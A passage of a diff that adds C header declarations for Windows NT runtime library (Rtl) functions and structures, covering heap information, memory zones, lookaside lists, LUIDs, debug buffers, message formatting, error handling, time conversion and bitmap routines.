HEAP_COMPATIBILITY_LFH = 2UL, +} HEAP_COMPATIBILITY_MODE; + +typedef struct _PROCESS_HEAP_INFORMATION +{ + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG NumberOfHeaps; + ULONG_PTR FirstHeapInformationOffset; +} PROCESS_HEAP_INFORMATION, * PPROCESS_HEAP_INFORMATION; + +typedef struct _HEAP_INFORMATION +{ + ULONG_PTR Address; + ULONG Mode; + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG_PTR FirstRegionInformationOffset; + ULONG_PTR NextHeapInformationOffset; +} HEAP_INFORMATION, * PHEAP_INFORMATION; + +typedef struct _HEAP_EXTENDED_INFORMATION +{ + HANDLE Process; + ULONG_PTR Heap; + ULONG Level; + PVOID CallbackRoutine; + PVOID CallbackContext; + union + { + PROCESS_HEAP_INFORMATION ProcessHeapInformation; + HEAP_INFORMATION HeapInformation; + }; +} HEAP_EXTENDED_INFORMATION, * PHEAP_EXTENDED_INFORMATION; + +// rev +typedef NTSTATUS(NTAPI* PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + _In_ LONG Reserved, + _In_ PVOID HeapHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T BlockSize, + _In_ ULONG StackTraceDepth, + _In_ PVOID* StackTrace + ); + +// symbols +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, * PHEAP_DEBUGGING_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength +); + +NTSYSAPI +ULONG +NTAPI +RtlMultipleAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size, + _In_ ULONG Count, + _Out_ PVOID * Array +); + +NTSYSAPI +ULONG +NTAPI +RtlMultipleFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ ULONG Count, + _In_ PVOID * Array +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlDetectHeapLeaks( + VOID +); +#endif + +NTSYSAPI +VOID +NTAPI +RtlFlushHeaps( + VOID +); + +#endif // !_KERNEL_MODE + +// +// Memory zones +// + +#ifndef _KERNEL_MODE + +// begin_private +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT* NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, * PRTL_MEMORY_ZONE_SEGMENT; + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, * PRTL_MEMORY_ZONE; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateMemoryZone( + _Out_ PVOID* MemoryZone, + _In_ SIZE_T InitialSize, + _Reserved_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + _In_ _Post_invalid_ PVOID MemoryZone +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + _In_ PVOID MemoryZone, + _In_ SIZE_T BlockSize, + _Out_ PVOID* Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlResetMemoryZone( + _In_ PVOID MemoryZone +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockMemoryZone( + _In_ PVOID MemoryZone +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + _In_ PVOID MemoryZone +); +#endif +// end_private + +#endif // !_KERNEL_MODE + +// +// Memory block lookaside lists +// + +#ifndef _KERNEL_MODE + +// begin_private +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + _Out_ PVOID* MemoryBlockLookaside, + _Reserved_ ULONG Flags, + _In_ ULONG InitialSize, + _In_ ULONG MinimumBlockSize, + _In_ ULONG MaximumBlockSize +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG BlockSize, + _Out_ PVOID* Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ PVOID Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG Increment +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); +#endif +// end_private + +#endif // !_KERNEL_MODE + +// +// Transactions +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +HANDLE +NTAPI +RtlGetCurrentTransaction( + VOID +); + +// private +NTSYSAPI +LOGICAL +NTAPI +RtlSetCurrentTransaction( + _In_ HANDLE TransactionHandle +); +#endif + +#endif // _KERNEL_MODE + +// +// LUIDs +// + +#ifndef _KERNEL_MODE + +FORCEINLINE BOOLEAN RtlIsEqualLuid( // RtlEqualLuid + _In_ PLUID L1, + _In_ PLUID L2 +) +{ + return L1->LowPart == L2->LowPart && + L1->HighPart == L2->HighPart; +} + +#define RtlEqualLuid RtlIsEqualLuid + +FORCEINLINE BOOLEAN RtlIsZeroLuid( + _In_ PLUID L1 +) +{ + return (L1->LowPart | L1->HighPart) == 0; +} + +FORCEINLINE LUID RtlConvertLongToLuid( + _In_ LONG Long +) +{ + LUID tempLuid; + LARGE_INTEGER tempLi; + + tempLi.QuadPart = Long; + tempLuid.LowPart = tempLi.LowPart; + tempLuid.HighPart = tempLi.HighPart; + + return tempLuid; +} + +FORCEINLINE LUID RtlConvertUlongToLuid( + _In_ ULONG Ulong +) +{ + LUID tempLuid; + + tempLuid.LowPart = Ulong; + tempLuid.HighPart = 0; + + return tempLuid; +} + +NTSYSAPI +VOID +NTAPI +RtlCopyLuid( + _Out_ PLUID DestinationLuid, + _In_ PLUID SourceLuid +); + +#endif // !_KERNEL_MODE + +// ros +NTSYSAPI +VOID +NTAPI +RtlCopyLuidAndAttributesArray( + _In_ ULONG Count, + _In_ PLUID_AND_ATTRIBUTES Src, + _In_ PLUID_AND_ATTRIBUTES Dest +); + +// +// Byte swap routines. +// + +#ifndef _KERNEL_MODE + +// +// Byte swap routines. These are used to convert from little-endian to +// big-endian and vice-versa. +// + +#if (defined(_M_IX86) && (_MSC_FULL_VER > 13009037)) || ((defined(_M_AMD64) || defined(_M_IA64)) && (_MSC_FULL_VER > 13009175)) || defined(_M_ARM) || defined(_M_ARM64) + +#ifdef __cplusplus +extern "C" { +#endif + _Check_return_ unsigned short __cdecl _byteswap_ushort(_In_ unsigned short); + _Check_return_ unsigned long __cdecl _byteswap_ulong(_In_ unsigned long); + _Check_return_ unsigned __int64 __cdecl _byteswap_uint64(_In_ unsigned __int64); +#ifdef __cplusplus +} +#endif +#pragma intrinsic(_byteswap_ushort) +#pragma intrinsic(_byteswap_ulong) +#pragma intrinsic(_byteswap_uint64) + +#define RtlUshortByteSwap(_x) _byteswap_ushort((USHORT)(_x)) +#define RtlUlongByteSwap(_x) _byteswap_ulong((_x)) +#define RtlUlonglongByteSwap(_x) _byteswap_uint64((_x)) + +#else + +NTSYSAPI +USHORT +FASTCALL +RtlUshortByteSwap( + _In_ USHORT Source +); + +NTSYSAPI +ULONG +FASTCALL +RtlUlongByteSwap( + _In_ ULONG Source +); + +NTSYSAPI +ULONGLONG +FASTCALL +RtlUlonglongByteSwap( + _In_ ULONGLONG Source +); +#endif + +#endif // !_KERNEL_MODE + +// +// Debugging +// + +#ifndef _KERNEL_MODE + +// private +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, * PRTL_PROCESS_VERIFIER_OPTIONS; + +// private +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + struct _RTL_PROCESS_MODULES* Modules; + struct _RTL_PROCESS_MODULE_INFORMATION_EX* ModulesEx; + }; + struct _RTL_PROCESS_BACKTRACES* BackTraces; + struct _RTL_PROCESS_HEAPS* Heaps; + struct _RTL_PROCESS_LOCKS* Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, * PRTL_DEBUG_INFORMATION; + +NTSYSAPI +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + _In_opt_ ULONG MaximumCommit, + _In_ BOOLEAN UseEventPair +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + _In_ PRTL_DEBUG_INFORMATION Buffer +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +PVOID +NTAPI +RtlCommitDebugInfo( + _Inout_ PRTL_DEBUG_INFORMATION Buffer, + _In_ SIZE_T Size +); + +// private +NTSYSAPI +VOID +NTAPI +RtlDeCommitDebugInfo( + _Inout_ PRTL_DEBUG_INFORMATION Buffer, + _In_ PVOID p, + _In_ SIZE_T Size +); +#endif + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_VERIFIER_OPTIONS 0x00000080 // rev +#define RTL_QUERY_PROCESS_MODULESEX 0x00000100 // rev +#define RTL_QUERY_PROCESS_HEAP_SEGMENTS 0x00000200 +#define RTL_QUERY_PROCESS_CS_OWNER 0x00000400 // rev +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _Inout_ PRTL_DEBUG_INFORMATION Buffer +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _Inout_ PRTL_DEBUG_INFORMATION Buffer +); + +#endif // !_KERNEL_MODE + +// +// Messages +// + +#ifdef _KERNEL_MODE + +typedef struct _MESSAGE_RESOURCE_ENTRY { + USHORT Length; + USHORT Flags; + UINT8 Text[1]; +} MESSAGE_RESOURCE_ENTRY, * PMESSAGE_RESOURCE_ENTRY; + +#define MESSAGE_RESOURCE_UNICODE 0x0001 +#define MESSAGE_RESOURCE_UTF8 0x0002 + +typedef struct _MESSAGE_RESOURCE_BLOCK { + UINT32 LowId; + UINT32 HighId; + UINT32 OffsetToEntries; +} MESSAGE_RESOURCE_BLOCK, * PMESSAGE_RESOURCE_BLOCK; + +typedef struct _MESSAGE_RESOURCE_DATA { + UINT32 NumberOfBlocks; + MESSAGE_RESOURCE_BLOCK Blocks[1]; +} MESSAGE_RESOURCE_DATA, * PMESSAGE_RESOURCE_DATA; + +#endif // _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlFindMessage( + _In_ PVOID DllHandle, + _In_ ULONG MessageTableId, + _In_ ULONG MessageLanguageId, + _In_ ULONG MessageId, + _Out_ PMESSAGE_RESOURCE_ENTRY* MessageEntry +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessage( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list* Arguments, + _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +typedef struct _PARSE_MESSAGE_CONTEXT +{ + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, * PPARSE_MESSAGE_CONTEXT; + +#define INIT_PARSE_MESSAGE_CONTEXT(ctx) { (ctx)->fFlags = 0; } +#define TEST_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags & (flag)) +#define SET_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags |= (flag)) +#define CLEAR_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags &= ~(flag)) + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessageEx( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list* Arguments, + _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength, + _Out_opt_ PPARSE_MESSAGE_CONTEXT ParseContext +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFileMUIPath( + _In_ ULONG Flags, + _In_ PCWSTR FilePath, + _Inout_opt_ PWSTR Language, + _Inout_ PULONG LanguageLength, + _Out_opt_ PWSTR FileMUIPath, + _Inout_ PULONG FileMUIPathLength, + _Inout_ PULONGLONG Enumerator +); + +#endif // !_KERNEL_MODE + +// +// Errors +// + +_IRQL_requires_max_(APC_LEVEL) +_When_(Status < 0, _Out_range_(> , 0)) +_When_(Status >= 0, _Out_range_(== , 0)) +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + _In_ NTSTATUS Status +); + +_When_(Status < 0, _Out_range_(> , 0)) +_When_(Status >= 0, _Out_range_(== , 0)) +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + _In_ NTSTATUS Status +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + VOID +); + +NTSYSAPI +LONG +NTAPI +RtlGetLastWin32Error( + VOID +); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + _In_ NTSTATUS Status +); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + _In_ LONG Win32Error +); + +NTSYSAPI +VOID +NTAPI +RtlRestoreLastWin32Error( + _In_ LONG Win32Error +); + +#define RTL_ERRORMODE_FAILCRITICALERRORS 0x0010 +#define RTL_ERRORMODE_NOGPFAULTERRORBOX 0x0020 +#define RTL_ERRORMODE_NOOPENFILEERRORBOX 0x0040 + +NTSYSAPI +ULONG +NTAPI +RtlGetThreadErrorMode( + VOID +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadErrorMode( + _In_ ULONG NewMode, + _Out_opt_ PULONG OldMode +); + +#endif // !_KERNEL_MODE + +// +// Windows Error Reporting +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlReportException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ ULONG Flags +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReportExceptionEx( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ ULONG Flags, + _In_ PLARGE_INTEGER Timeout +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlWerpReportException( + _In_ ULONG ProcessId, + _In_ HANDLE CrashReportSharedMem, + _In_ ULONG Flags, + _Out_ PHANDLE CrashVerticalProcessHandle +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReportSilentProcessExit( + _In_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); +#endif + +#endif // !_KERNEL_MODE + +// +// Random +// + +_IRQL_requires_max_(APC_LEVEL) +_Ret_range_(<= , MAXLONG) +NTSYSAPI +ULONG +NTAPI +RtlRandom( + _Inout_ PULONG Seed +); + +_IRQL_requires_max_(APC_LEVEL) +_Ret_range_(<= , MAXLONG) +NTSYSAPI +ULONG +NTAPI +RtlRandomEx( + _Inout_ PULONG Seed +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +ULONG +NTAPI +RtlUniform( + _Inout_ PULONG Seed +); + +#define RTL_IMPORT_TABLE_HASH_REVISION 1 + +NTSYSAPI +NTSTATUS +NTAPI +RtlComputeImportTableHash( + _In_ HANDLE FileHandle, + _Out_writes_bytes_(16) PCHAR Hash, + _In_ ULONG ImportTableHashRevision // must be 1 +); + +#endif // !_KERNEL_MODE + +// +// Integer conversion +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToChar( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, // negative to pad to width + _Out_ PSTR String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCharToInteger( + _In_z_ PCSZ String, + _In_opt_ ULONG Base, + _Out_ PULONG Value +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlLargeIntegerToChar( + _In_ PLARGE_INTEGER Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, + _Out_ PSTR String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_At_(String->MaximumLength, _Const_) +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_At_(String->MaximumLength, _Const_) +NTSYSAPI +NTSTATUS +NTAPI +RtlInt64ToUnicodeString( + _In_ ULONGLONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String +); + +#ifndef _KERNEL_MODE + +#ifdef _WIN64 +#define RtlIntPtrToUnicodeString(Value, Base, String) RtlInt64ToUnicodeString(Value, Base, String) +#else +#define RtlIntPtrToUnicodeString(Value, Base, String) RtlIntegerToUnicodeString(Value, Base, String) +#endif + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger( + _In_ PCUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PULONG Value +); + +NTSTATUS +RtlUnicodeStringToInt64( + _In_ PCUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PLONG64 Number, + _Out_opt_ PWSTR* EndPointer +); + +// +// IPv4/6 conversion +// +#include + +// +// Time +// + +#ifndef _KERNEL_MODE + +typedef struct _TIME_FIELDS +{ + CSHORT Year; // 1601... + CSHORT Month; // 1..12 + CSHORT Day; // 1..31 + CSHORT Hour; // 0..23 + CSHORT Minute; // 0..59 + CSHORT Second; // 0..59 + CSHORT Milliseconds; // 0..999 + CSHORT Weekday; // 0..6 = Sunday..Saturday +} TIME_FIELDS, * PTIME_FIELDS; + +NTSYSAPI +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + _In_ PTIME_FIELDS CutoverTime, + _Out_ PLARGE_INTEGER SystemTime, + _In_ PLARGE_INTEGER CurrentSystemTime, + _In_ BOOLEAN ThisYear +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime( + _In_ PLARGE_INTEGER SystemTime, + _Out_ PLARGE_INTEGER LocalTime +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime( + _In_ PLARGE_INTEGER LocalTime, + _Out_ PLARGE_INTEGER SystemTime +); + +NTSYSAPI +VOID +NTAPI +RtlTimeToElapsedTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields +); + +NTSYSAPI +VOID +NTAPI +RtlTimeToTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeFieldsToTime( + _In_ PTIME_FIELDS TimeFields, // Weekday is ignored + _Out_ PLARGE_INTEGER Time +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds +); + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1980ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds +); + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1970ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +ULONGLONG +NTAPI +RtlGetSystemTimePrecise( + VOID +); +#endif + +#endif // !_KERNEL_MODE + +// +// Time zones +// + +typedef struct _RTL_TIME_ZONE_INFORMATION +{ + LONG Bias; + WCHAR StandardName[32]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[32]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, * PRTL_TIME_ZONE_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + _Out_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + _In_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation +); + +// +// Bitmaps +// + +// +// BitMap routines. The following structure, routines, and macros are +// for manipulating bitmaps. The user is responsible for allocating a bitmap +// structure (which is really a header) and a buffer (which must be longword +// aligned and multiple longwords in size). +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; // Number of bits in bit map + PULONG Buffer; // Pointer to the bit map itself +} RTL_BITMAP; +typedef RTL_BITMAP* PRTL_BITMAP; + +#endif // !_KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlInitializeBitMap( + _Out_ PRTL_BITMAP BitMapHeader, + _In_opt_ __drv_aliasesMem PULONG BitMapBuffer, + _In_opt_ ULONG SizeOfBitMap +); + +NTSYSAPI +VOID +NTAPI +RtlClearBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitNumber +); + +NTSYSAPI +VOID +NTAPI +RtlSetBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitNumber +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitNumber +); + +NTSYSAPI +VOID +NTAPI +RtlClearAllBits( + _In_ PRTL_BITMAP BitMapHeader +); + +NTSYSAPI +VOID +NTAPI +RtlSetAllBits( + _In_ PRTL_BITMAP BitMapHeader +); + +// +// The following two routines locate a contiguous region of either +// clear or set bits within the bitmap. The region will be at least +// as large as the number specified, and the search of the bitmap will +// begin at the specified hint index (which is a bit index within the +// bitmap, zero based). The return value is the bit index of the located +// region (zero based) or -1 (i.e., 0xffffffff) if such a region cannot +// be located +// + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +_Must_inspect_result_ +NTSYSAPI +ULONG +NTAPI +RtlFindClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +_Must_inspect_result_ +NTSYSAPI +ULONG +NTAPI +RtlFindSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +// +// The following two routines locate a contiguous region of either +// clear or set bits within the bitmap and either set or clear the bits +// within the located region. The region will be as large as the number +// specified, and the search for the region will begin at the specified +// hint index (which is a bit index within the bitmap, zero based). The +// return value is the bit index of the located region (zero based) or +// -1 (i.e., 0xffffffff) if such a region cannot be located. If a region +// cannot be located then the setting/clearing of the bitmap is not performed. +// + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +NTSYSAPI +ULONG +NTAPI +RtlFindClearBitsAndSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +NTSYSAPI +ULONG +NTAPI +RtlFindSetBitsAndClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +NTSYSAPI +VOID +NTAPI +RtlClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear +); + +NTSYSAPI +VOID +NTAPI +RtlSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet +); + +// +// The following routine locates a set of contiguous regions of clear +// bits within the bitmap. The caller specifies whether to return the +// longest runs or just the first found lcoated. The following structure is +// used to denote a contiguous run of bits. The two routines return an array +// of this structure, one for each run located. +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_BITMAP_RUN { + + ULONG StartingIndex; + ULONG NumberOfBits; + +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN* PRTL_BITMAP_RUN; + +#endif // !_KERNEL_MODE + +NTSYSAPI +ULONG +NTAPI +RtlFindClearRuns( + _In_ PRTL_BITMAP BitMapHeader, + _Out_writes_to_(SizeOfRunArray, return) PRTL_BITMAP_RUN RunArray, + _In_range_(> , 0) ULONG SizeOfRunArray, + _In_ BOOLEAN LocateLongestRuns +); + +NTSYSAPI +ULONG +NTAPI +RtlFindLongestRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PULONG StartingIndex +); + +NTSYSAPI +ULONG +NTAPI +RtlFindFirstRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PULONG StartingIndex +); + +#ifndef _KERNEL_MODE + +_Must_inspect_result_ +FORCEINLINE +BOOLEAN +RtlCheckBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitPosition +) +{ +#ifdef _WIN64 + return BitTest64((LONG64 const*)BitMapHeader->Buffer, (LONG64)BitPosition); +#else + return (((PLONG)BitMapHeader->Buffer)[BitPosition / 32] >> (BitPosition % 32)) & 0x1; +#endif +} + +#endif // !_KERNEL_MODE + + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBitsInRange( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBitsInRange( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBits( + _In_ PRTL_BITMAP BitMapHeader +); + 